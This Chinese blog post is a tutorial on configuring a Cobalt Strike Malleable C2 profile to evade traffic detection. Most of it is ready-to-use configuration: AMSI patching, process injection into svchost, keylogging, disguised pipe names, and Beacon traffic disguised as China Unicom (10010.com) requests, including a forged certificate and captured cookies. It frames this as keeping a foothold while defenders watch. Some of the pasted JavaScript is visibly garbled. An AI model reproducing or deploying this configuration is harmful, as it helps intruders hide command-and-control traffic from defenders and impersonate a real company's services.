



配置C2 profile规避流量检测

👤 r0leG3n7 ⌚ 2024-06-13 20:36:51 🔒 123117

Cobalt Strike(下文统称CS)提供了一个名为Malleable C2 Profile功能，它可以自定义流量特征，控制beacon内存分配以及进程注入等行为，还能对shellcode中一些字符串的替换和混淆，学习如何配置C2 profile能消除CS大部分特征来绕过安全设备的检测。

📌 C2 profile配置文件参数介绍

对于从来都没有接触过CS的Malleable C2 profile又不想去CS官网看英文官方文档的小白，学习C2 profile最好的方法就是去参照别人已经写好的模板，下文的配置文件都是基于一个模拟jQuery流量的github项目里CS4.7版本的模板修改和配置，项目地址：

<https://github.com/threatexpress/malleable-c2>

基础配置

#C2 profile配置文件的名称，设置该名称不会影响Beacon的流量，只是为了方便区分不同流量的配置文件，配置文件的名称会显示在CS的报告中

```
set sample_name "C2_profile_For_FreeBuf";
```

#是否使用stager分阶段载荷

```
set host_stage "true";
```

#设置上线后的睡眠时间,单位毫秒，不可以设置为0，设置为0可能导致Beacon无法上线

```
set sleeptime "6916";
```

#设置抖动值，单位百分比，取值区间0-99，用于调节beacon回调和睡眠的频率

```
set jitter "37";
```

#设置数据抖动大小。设置后，请求时会添加小于设置值的随机长度的随机字符串。

```
set data_jitter "77";
```

```
#设置发送请求时的User-Agent头
```

```
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.34 Safari/537.36  
Edg/81.0.416.20";
```

传输数据最大值配置

该配置适用于CS4.6以后的版本

```
#单次任务可传输数据的最大值，用execute-assembly执行.NET程序集的文件大小要小于这个值
```

```
set tasks_max_size "2097152";
```

```
#单次任务通过代理可传输数据的最大值
```

```
set tasks_proxy_max_size "921600";
```

```
#单次任务通过dns代理可传输数据的最大值，这个值不宜设置过大，dns代理的流量很容易被安全设备侦测到
```

```
set tasks_dns_proxy_max_size "71680";
```

窃取令牌相关配置

该配置适用于CS4.7以后的版本

```
#允许你设置一个用于窃取token的OpenProcessToken。推荐设置的值:0 = TOKEN_ALL_ACCESS;11 = TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE |  
TOKEN_QUERY(1+2+8)
```

```
set steal_token_access_mask "0"; # TOKEN_ALL_ACCESS
```

TCP Beacon配置

```
#在 tcp 信息前追加设定的字符,CS4.1版本以后可以设置
```

```
set tcp_frame_header "";
```

```
#设置tcp的端口
```

```
set tcp_port "41100";
```

SMB Beacon配置

```
#在 smb 信息前追加设定的字符
set smb_frame_header "";

#设置SMB管道名称
set pipename "chrome+####";

set pipename_stager "srvsvc-1-7-7-0####";
```

SSH Beacon配置

```
#设置连接SSH时显示的信息
set ssh_banner "Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-1029-aws x86_64)";
#设置SSH管道名称
set ssh_pipename "pcsvc-####";
```

http全局配置

该配置会影响全部涉及http协议的流量

```
http-config {
    # 增加headers
    set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
    header "Server" "Apache";
    header "Keep-Alive" "timeout=10, max=100";
    header "Connection" "Keep-Alive";

    # set "true" if teamsserver is behind redirector
    set trust_x_forwarded_for "false";

    # 阻止不正常的useragent,如: curl*,lynx*,wget*
```

```
set block_useragents "curl*,lynx*,wget*";  
}
```

process-inject

process-inject控制 Beacon 在注入到远程进程时的行为

```
process-inject {  
    #CS4.7版本以后可以设置当前进程涉及BOF内容的内存分配方法，可选的内存分配方法有: HeapAlloc, MapViewOfFile和VirtualAlloc  
    set bof_allocator "VirtualAlloc";  
    set bof_reuse_memory "true";  
  
    # 设置使用远程分配内存的Window API函数  
    set allocator "VirtualAllocEx";  
    #set allocator "NtMapViewOfSection";  
  
    #设置内存分配的最小值  
    set min_alloc "7814";  
    #是否分配内存属性为R(读)W(写)X(执行)的内存，一般设置为false，因为一般正常程序不会分配RWX属性的内存  
    set userwx "false";  
    #注入payload前是否分配内存属性为R(读)W(写)X(执行)的内存，一般设置为false  
    set startwx "false";  
  
    #在注入的x86架构payload前添加指令，0x90对应的汇编代码为NOP，NOP是无操作指令，添加不会影响shellcode执行，一定程度上能规避内存扫描  
    transform-x86 {  
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # NOP, NOP!  
    }  
  
    #在注入的x64架构payload前添加指令  
    transform-x64 {  
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # NOP, NOP!  
    }  
}
```

```
# 指明如何在远程进程中执行函数代码，这里一般是得到某个函数地址后加相对偏移得到另一个函数的地址
execute {
    CreateThread "ntdll.dll!RtlUserThreadStart+0x2285";
    NtQueueApcThread-s;
    SetThreadContext;
    CreateRemoteThread;
    CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";
    RtlCreateUserThread;
}
}
```

post-ex

beacon的fork&run模式就是创建并注入一个进程执行函数功能(如键盘记录)，执行结果通过管道回传给beacon。post-ex控制如何创建新的进程、怎样注入和执行代码、如何混淆和隐藏行为以及如何收集和传输数据。

```
post-ex {
    # 控制我们产生的临时进程。Beacon将产生一个临时进程，将shellcode注入其中，并让新的进程执行这个shellcode。
    set spawnnto_x86 "%windir%\syswow64\svchost.exe"; # 对于32位payloads
    set spawnnto_x64 "%windir%\sysnative\svchost.exe"; # 对于64位payloads

    # 改变我们的post-ex DLLs的权限和内容，用于对beacon操作的混淆
    set obfuscate "true";

    # 更改我们的post-ex输出命名管道名称,pipeiname中的#符号会被替换为一个随机的数字，这样每次创建新的命名管道时都会使用一个不同的名称，从而进一步提高了隐蔽性
    set pipename "srvsvc-1-5-5-0####";

    # 将关键函数指针从Beacon传递到其子作业。启用smart注入将使Beacon将带有关键函数指针的数据结构传递给其post-ex作业。
    set smartinject "true";

    # 允许多线程post-ex DLLs产生带有伪装起始地址的线程。
```

```
# set thread_hint "module!function+0x##";

# 在powerpick、execute-assembly和psinject中禁用AMSI。此选项将会在目标进程中patch AMSI。
set amsi_disable "true";

# 控制用于记录键盘击键的方法
set keylogger "SetWindowsHookEx";
}
```

配置C2 profile规避流量检测

假设在有蓝队人员实时监控的情况下拿下了目标网站的shell，如何规避安全设备的检测以及蓝队人员的研判成为Beacon持久化的关键。配置C2 profile能消除Beacon流量特征，使Beacon流量融入正常用户访问的流量中，加大蓝队人员的研判难度。下面只介绍如何配置https-certificate、http-get和http-post，stage和http-stager使用的是模板默认配置，因为分阶段载荷stager在实战中的免杀效果非常非常差，在有卡巴斯基或者360核晶的环境基本用不上分阶段载荷stager。

https-certificate

1、https-certificate用于配置http协议传输时进行数据加密的证书。假设已经拿下某通的某个站点，我的目标是让Beacon的流量在安全设备上看起来像是用户访问某通官网的流量，首先要伪造目标的https证书。



证书查看器: 10010.com



常规(G)

详细信息(D)

颁发给

公用名(CN)	10010.com
组织(O)	China United Network Communications Co. Ltd
组织单位(OU)	<不是证书的一部分>

颁发者

公用名(CN)	Secure Site Pro CA G2
组织(O)	DigiCert Inc
组织单位(OU)	www.digicert.com

有效期

颁发日期	2024年1月23日星期二 08:00:00
到期日期	2025年2月23日星期日 07:59:59

SHA-256 指纹

证书	953345d059cd1a6f3cf61703ad36a04b19a340f348ddde90800fdfacec7004ce
公钥	e21ed396edc655a32c83c947736d02c1020d374ac779ad9ed9a946ccbc6691b1



3、将数据包1的响应复制为response.txt(实战时尽量选那种请求和响应原本就有一些接收又长又乱数据的参数的数据包，0添加才能更好地使Beacon融入环境来规避流量检测)

[illegible]

4、接下来需要用到以下工具去快速制作http-get和http-post, 项目地址:

<https://github.com/CodeXTF2/Burp2Malleable>

usage:

```
python burp2malleable.py request.txt response.txt
```

5、 metadata

```

BURP2 MALLEABLE
https://github.com/CodeITF2/Burp2Malleable

Where do you want to store Beacon metadata?
1. Header
2. Body
3. URI-Param

>1
These are your current headers
[*] Host: upay.10010.com
[*] Cookie: loginflag=false; mallcity=51|510; citycode=510; selectedProvince=051; acw_tc=276aeddb17180916673757779e30180e37131aa399034d667d0ee848d489a9
[*] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
[*] Accept: */*
[*] Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
[*] Accept-Encoding: gzip, deflate, br
[*] Sec-Fetch-Dest: empty
[*] Sec-Fetch-Mode: cors
[*] Sec-Fetch-Site: same-origin
[*] Te: trailers
Header name: Cookie
The current value of the field is:
loginflag=false; mallcity=51|510; citycode=510; selectedProvince=051; acw_tc=276aeddb17180916673757779e30180e37131aa399034d667d0ee848d489a9

What part would you like to replace with the data?
> 276aeddb17180916673757779e30180e37131aa399034d667d0ee848d489a9
['loginflag=false; mallcity=51|510; citycode=510; selectedProvince=051; acw_tc=', '']
What encoding would you like to apply to the data?
[*] base64
[*] base64url
[*] netbios
[*] netbiosu
> base64url
The resulting field will look something like this:
loginflag=false; mallcity=51|510; citycode=510; selectedProvince=051; acw_tc=5FNB8REFEQVNT

Does this look ok? (Y/n)
Y.Y

```

6、 Beacon ID

```

Where do you want to store Beacon ID?
  1. Header
  2. Body
  3. URI-Param
>3
These are your current params
[*] nJS2iG=213
[*] P2ijs=123
Param name: nJS2iG
The current value of the field is:
213

What part would you like to replace with the data?
> 213
['', '']
What encoding would you like to apply to the data?
[*] base64
[*] base64url
[*] netbios
[*] netbiosu
> base64url
The resulting field will look something like this:
SFNBREFEQVNT

Does this look ok? (Y/n)
> y

```

7、生成配置(看起来很复杂,但我们只需要知道Beacon的真实流量会夹在prepend关键字和append关键字之间)

```

http-get {
  set verb "GET";
  set uri "/upayweb/static/js/vueuse-28008196.js";
  client {
    header "Host" "upay.10010.com";
    header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0";
    header "Accept" "*/*";
    header "Accept-Language" "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2";
    header "Accept-Encoding" "gzip, deflate, br";
    header "Sec-Fetch-Dest" "empty";
    header "Sec-Fetch-Mode" "cors";
    header "Sec-Fetch-Site" "same-origin";
    parameter "P2ijs" "123";
    metadata {

```

```

    mask;
    base64url;
    prepend "loginflag=false; mallcity=51|510; citycode=510; userprocode=051; selectedProvince=051; acw_tc=";
    append "";
    header "Cookie";
  }
}
server {
  output {
    mask;
    base64url;
    prepend "import{y as e,p as t,a4 as n,s as r,m as o,u as a,ap as i,x as s,l as u,n as l,M as c}from'./vue-86820eca.js';var
f,d=Object.defineProperty,p=Object.defineProperties,v=Object.getOwnPropertyDescriptors,m=Object.getOwnPropertySymbols,y=Object.prototype.h
asOwnProperty,O=Object.prototype.propertyIsEnumerable,b=(e,t,n)=>t in e?d(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,function
w(r,o){var a;const i=e();var s,u;return t(()=>=>{i.value=r()}),(s=((e,t)=>{for(var n in t|{(t={})y.call(t,n)&&b(e,n,t[n]);if(m)for(var n of
m(t))O.call(t,n)&&b(e,n,t[n]);return e})({},o),u={flush:null!=(a=null==o?void 0:o.flush)?a:'sync'},p(s,v(u))),n(i))const h='undefined'!=typeof
window,g=e=>'string'==typeof e,l=()=>{,P=h&&(null==(f=null==window?void 0>window.navigator)?void
0:f.userAgent)&&/iP(ad|hone|od)/.test(window.navigator.userAgent);function E(e){return'function'==typeof e?e():a(e)}function j(e){return!!i())&&
(s(e),!0)}function A(e,t=200,n={}){return function(e,t){return function(...n){return new Promise(((r,o)=>{Promise.resolve(e(()=>>t.apply(this,n)),
{fn:t,thisArg:this,args:n})).then(r).catch(o))}})(function(e,t={}){let n,r,o=l;const a=e=>{clearTimeout(e,o),o=l};return i=>{const
s=E(e),u=E(t.maxWait);return n&&a(n),s<=0||void 0!=u&&u<=0?(r&&(a(r),r=null),Promise.resolve(i())):new Promise(((e,l)=>{o=t.rejectOnCancel?
l:e,u&&!r&&(r=setTimeout((()=>>{n&&a(n),r=null,e(i())}),u)),n=setTimeout((()=>>{r&&a(r),r=null,e(i())}),s))}})(t,n,e)}function T(e,t=200,n={}){const
a=r(e.value),i=A(()=>>{a.value=e.value},t,n);return o(e,(()=>>i()),a)}function S(e,t,o={}){const{immediate:a=!0}=o,i=r(!1);let s=null;function u(){s&&
(clearTimeout(s),s=null)}function l(){i.value=!1,u()}function c(...n){u(),i.value=!0,s=setTimeout((()=>>{i.value=!1,s=null,e(...n)}),E(t))}return a&&
(i.value=!0,h&&c()),j(l),{isPending:n(i),start:c,stop:l}}function Q(e){var t;const n=E(e);return null!=(t=null==n?void 0:n.$el)?t:n}const x=h?window:void
0,C=h?window.document:void 0;function N(...e){let t,n,r,a;if(g(e[0])||Array.isArray(e[0])){[n,r,a]=e,t=x:[t,n,r,a]=e,!t}return l;Array.isArray(n)||
(n=[n]),Array.isArray(r)||(r=[r]);const i=[],s=()=>{i.forEach((e=>e())),i.length=0},u=o(()=>>[Q(t),E(a)]),(([e,t])=>{s(),e&&i.push(...n.flatMap((n=>r.map((r=>
((e,t,n,r)=>(e.addEventListener(t,n,r,()=>>e.removeEventListener(t,n,r)))(e,n,r,t)))))),{immediate:!0,flush:'post'}),l=()=>{u(),s()});return j(l),l}let
_=!1;function k(e,t,n={}){const{window:r=x,ignore:o=[],capture:a=!0,detectIframe:i=!1}=n;if(!r)return,P&&_&&
(_=!0,Array.from(r.document.body.children).forEach((e=>e.addEventListener('click',l))));let s=!0;const u=e=>o.some((t=>{if('string'==typeof t)return
Array.from(r.document.querySelectorAll(t)).some((t=>t===e.target||e.composedPath().includes(t))));const n=Q(t);return n&&
(e.target===n||e.composedPath().includes(n))})),l=[N(r,'click',(n=>{const r=Q(e);r&&r!==n.target&&!n.composedPath().includes(r)&&
(0===n.detail&&(s=!u(n)),s?t(n):s=!0)}),{passive:!0,capture:a}),N(r,'pointerdown',(t=>{const n=Q(e);n&&(s=!t.composedPath().includes(n)&&!u(t))),

```

```

{passive:!0}),i&&N(r,'blur',(n=>{var o;const a=Q(e);'IFRAME'!=(null==(o=r.document.activeElement)?void 0:o.tagName))||(null==a?void 0:a.contains(r.document.activeElement))||t(n)))).filter(Boolean);return()=>l.forEach((e=>e()))function B(e,t=!1){const n=r(),o=()=>n.value=Boolean(e());return o(),function(e,t=!0){u()?!l(e):t?e():c(e)}(o,t),n)const L='undefined'!=typeof globalThis?globalThis:'undefined'!=typeof window?window:'undefined'!=typeof global?global:'undefined'!=typeof self?self:{},R='__vueuse_ssr_handlers__';function F({document:e=C})={}){if(!e)return r('visible');const t=r(e.visibilityState);return N(e,"";
    append "",()=>{t.value=e.visibilityState})),t)L[R]=L[R]||{};var
D,M,W=Object.getOwnPropertySymbols,z=Object.prototype.hasOwnProperty,G=Object.prototype.propertyIsEnumerable;function H(e,t,n={}){const
r=n,{window:a=x}=r,i=((e,t)=>{var n={};for(var r in e)z.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&W)for(var r of W(e))t.indexOf(r)
<0&&G.call(e,r)&&(n[r]=e[r]);return n})(r,['window']);let s;const u=B((()=>a&&'ResizeObserver'in a)),l=()=>{s&&(s.disconnect(),s=void
0)},c=o((()=>Q(e)),(e=>{l(),u.value&&a&&e&&(s=new ResizeObserver(t),s.observe(e,i))),{immediate:!0,flush:'post'}),f=()=>{l(),c()});return j(f),
{isSupported:u,stop:f}}(M=D||(D={}).UP='UP',M.RIGHT='RIGHT',M.DOWN='DOWN',M.LEFT='LEFT',M.NONE='NONE';var
U=Object.defineProperty,q=Object.getOwnPropertySymbols,$=Object.prototype.hasOwnProperty,J=Object.prototype.propertyIsEnumerable,K=
(e,t,n)=>t in e?U(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;function V({window:e=x})={}{if(!e)return r(!1);const
t=r(e.document.hasFocus());return N(e,'blur',(()=>{t.value=!1})),N(e,'focus',(()=>{t.value=!0})),t)((e,t)=>{for(var n in t){t=
{}})$$.call(t,n)&&K(e,n,t[n]);if(q)for(var n of q(t))J.call(t,n)&&K(e,n,t[n])}({linear:function(e){return e},{easeInSine:[.12,0,.39,0],easeOutSine:
[.61,1,.88,1],easeInOutSine:[.37,0,.63,1],easeInQuad:[.11,0,.5,0],easeOutQuad:[.5,1,.89,1],easeInOutQuad:[.45,0,.55,1],easeInCubic:
[.32,0,.67,0],easeOutCubic:[.33,1,.68,1],easeInOutCubic:[.65,0,.35,1],easeInQuart:[.5,0,.75,0],easeOutQuart:[.25,1,.5,1],easeInOutQuart:
[.76,0,.24,1],easeInQuint:[.64,0,.78,0],easeOutQuint:[.22,1,.36,1],easeInOutQuint:[.83,0,.17,1],easeInExpo:[.7,0,.84,0],easeOutExpo:
[.16,1,.3,1],easeInOutExpo:[.87,0,.13,1],easeInCirc:[.55,0,1,.45],easeOutCirc:[0,.55,.45,1],easeInOutCirc:[.85,0,.15,1],easeInBack:
[.36,0,.66,-.56],easeOutBack:[.34,1.56,.64,1],easeInOutBack:[.68,-.6,.32,1.6]});export{H as a,Q as b,S as c,P as d,F as e,V as f,w as g,h as i,k as o,T as r,j as
t,N as u};
";
    print;
  }
  header "Server" "Tengine";

```

测试C2 profile

- 1、将所有配置整合成一个C2 profile，使用Cobalt Strike官方提供的c2lint工具进行检查编写的C2 profile是否可用、是否存在错误。

```
./c2lint 10010.profile
```

- 2、使用c2lint测试后出现三个错误，我们主要解决get请求和post请求的编译以后client体积过大的问题

一些写C2 profile的小Tips

- 1、伪造流量的样品选择一些请求js、css之类的静态资源文件或者请求与响应都有一些又长又乱的数据包。
- 2、使用GET请求数据包自动生成的http-post配置要将verb改为"POST"。
- 3、http-get与http-post的server部分要将所有header提到output之前。
- 4、http-get的client的metadata部分不要加上mask关键字。
- 5、C2 profile内的所有参数的值都必须使用双引号，不能使用单引号。如果参数的值内有双引号，需要用斜杠去转义，比如: `append "name=\"Mike\" ; age=22";`
- 6、C2 profile内的所有参与编译的非注释行最后都要加上分号。双引号内的分号不需要转义。
- 7、特殊字符不需要转义。比如: `prepend "!@#$$%^&*()";`
- 8、#井号是行注释。
- 9、CS启动之前一定要用c2lint多测试几次C2 profile，保证0 error；但0 error不代表C2 profile文件就没问题，可能会遇到beacon有心跳但是执行命令没有回显等情况。
- 10、请选择对应版本的CS模板进行修改和配置，这样可以少走很多弯路，高版本兼容低版本，低版本用高版本的模板会报错，因为低版本无法识别高版本的某些参数。

总结

配置C2 profile可以控制Beacon的行为并对其流量进行改造，是免杀不可或缺的一环，没有配置C2 profile的Beacon相当于裸奔，免杀的Loader写得很好但CS没有配置C2 profile—运行肯定会被安全设备检测到。配置C2 profile的过程肯定是会遇到很多错误和bug的，使用c2lint测试C2 profile能快速定位到错误所在的行数或者区域，c2lint测试完确认没有错误以后还要对Beacon各个模块进行测试，保证每个功能模块正常使用，C2 profile配置不当是有可能使Beacon崩溃的。

◦ # 免杀

◦ # 流量检测

◦ # Malleable-C2-Profiles

◦ # Cobalt Strike